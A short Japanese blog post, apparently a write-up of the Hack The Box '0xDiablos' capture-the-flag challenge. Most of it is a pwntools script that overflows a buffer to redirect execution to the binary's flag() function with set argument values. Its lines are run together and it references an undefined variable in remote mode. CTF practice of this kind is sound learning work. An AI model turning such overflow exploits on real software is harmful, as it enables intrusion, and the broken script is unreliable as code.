Hack the box - 0xDiablos
足元を固めたくてHTBのBeginner Trackからやっている。
pwnはちょっとずつ理解し始めてきた。
exploit
最終的に作ったexploit。
pwntools
の使い方も身体に叩き込まねば。
#!/bin/python3
from pwn import *
IS_REMOTE = TrueHOST = "x.x.x.x"PORT = xxxFILE = './vuln'conn = None
if IS_REMOTE: p = remote(HOST, PORT)else: elf = ELF(FILE) p = process(FILE)
#print('\n===Symbol Table===') #for k, v in elf.symbols.items(): # print(hex(v) + ' -> '+ k) # flagという怪しい関数が存在するけど呼ばれてないことに気付く
print('\nflag(): ' + hex(elf.symbols.flag))
print(p.recvline())
payload = b'A' * 188payload += p32(0x80491e2)payload += p32(0x90909090)payload += p32(0xdeadbeef)payload += p32(0xc0ded00d)
print(payload)
p.sendline(payload)print(p.recvline())
p.interactive()
最終的にこのバイナリは同じフォルダのflag.txt
の中身(すなわちフラグ)を読み取って表示するので、
自分で適当なflag.txt
を用意しておくとよい。